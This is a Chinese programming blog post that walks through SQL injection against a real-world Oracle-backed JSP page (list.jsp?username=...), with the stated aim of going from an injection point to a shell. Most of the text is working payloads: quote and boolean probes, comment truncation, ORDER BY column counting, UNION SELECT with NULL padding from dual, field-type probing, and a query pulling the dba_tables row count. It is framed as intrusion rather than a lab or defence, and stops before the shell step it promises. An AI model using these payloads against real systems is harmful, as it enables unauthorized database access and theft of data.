龙盟编程博客 | 无障碍搜索 | 云盘搜索神器
快速搜索
主页 > 数据库类 > Oracle 技术 >

Oracle web环境注射技术在真实世界里注射

时间:2011-04-12 23:18来源:未知 作者:admin 点击:
分享到:
以下的文章是浅谈 Oracle web环境注射技术在真实世界里的注射的实际操作,如果你想知道一个真实世界的相关注射是什么样子的话,以下的文章你一定不能错过。所以就让我们试试如何

以下的文章是浅谈Oracle web环境注射技术在真实世界里的注射的实际操作,如果你想知道一个真实世界的相关注射是什么样子的话,以下的文章你一定不能错过。所以就让我们试试如何从注射点来获得一个shell。

首先,我们找到一个可能存在注射的页面,list.jsp?username=loveshell,我们添加一个'结果出错了,通过爆出的错误知道这是一个Oracle的后台数据库,如含有ORA-xxxx这样的都是Oracle,然后用语句:

  1. list.jsp?username=loveshell' and ''||'1'='1  

正常

  1. list.jsp?username=loveshell' and ''||'2'='1  

返回空

  1. list.jsp?username=loveshell'-- 

这样可以知道是一个Oracle的字符类型的注射点,那么我们就可以用这种方式插入自己的SQL语句了  list.jsp?username=loveshell' and [我们的sql语句] --

这个时候我们就可以根据自己的目标考虑后续的入侵思路了,一种是向web方向发展,通过查询数据库的信息来渗透web,一种就是直接入侵数据库,当然,最完美的情况下是Oracle和web是一台机器。先说说如何查询数据库里存储的信息吧!要想取得信息就要将信息反馈回来,一种是利用union查询,譬如这里我们的入侵手法类似于下面:

  1. list.jsp?username=loveshell' order by 10 

错误,如果错误信息被反馈的话应该会出现xx coloum不存在之类的,字段数小于10

  1. list.jsp?username=loveshell' order by 5 

正常显示,字段数大于5

最后发现到order by 8的时候错误,order by 7 就正常,说明是7个字段。注意这里,一般的时候,页面的逻辑很简单,所以可以这样order by猜测,但是如果这个参数进入了2个以上sql语句,里面结果的字段数不一,就难用这种方法了。

当然,如果进入2个以上Sql语句的话,估计union查询也无法使用了,因为sql语句的前后字段数会不一,无法满足条件,后面我们将说到一种万能的获取数据的方法,这里先说比较直观的union查询。

  1. list.jsp?username=loveshell' union select NULL,NULL,
    NULL,NULL,NULL,NULL,NULL from dual 

用7个NULL来匹配对应的字段不会出现字段类型不一的情况,与mysql不同,后面的select语句必须加一个存在的表,这里是dual。

这里正常返回,然后我们就可以继续了,寻找的用做信息反馈的字段需要满足我上面在基本思路里的几个条件。 

  1. list.jsp?username=loveshell' and 1=2 union select  

1,NULL,NULL,NULL,NULL,NULL,NULL from dual-- 正常

  1. list.jsp?username=loveshell' and 1=2
    union select 1,2,NULL,NULL,NULL,NULL,NULL from dual 

错误,第二个字段不是数字类型

  1. list.jsp?username=loveshell' and 1=
    2 union select 1,'2',NULL,NULL,NULL,NULL,NULL from dual 

错误,第二个字段不是字符类型

这种情况是可能的,因为字段里还包括其他的如日期等类型,这种类型对于我们反馈信息没什么用,所以用NULL直接跳过。

  1. list.jsp?username=loveshell' and 1=2 union select 1,
    NULL,'
    3',NULL,NULL,NULL,NULL from dual 

这个时候正常了,而且在页面的对应的位置显示了,这个字段正是我们要找的。有的时候如果想看某个数字是多少怎么办呢?譬如想看记录的条数,直接二分法是可以的,但是直接显示出来还是比较直观,譬如想看dba_tables的记录数

  1. list.jsp?username=loveshell' and 1=2 union select 1,
    to_char((select count(*) from dba_tables),'
    0000000'),
    NULL,NULL,NULL,NULL,NULL from dual 

以上的相关内容就是对Oracle web环境注射技术在真实世界里的注射的相关内容介绍,望你能有所收获。

精彩图集

赞助商链接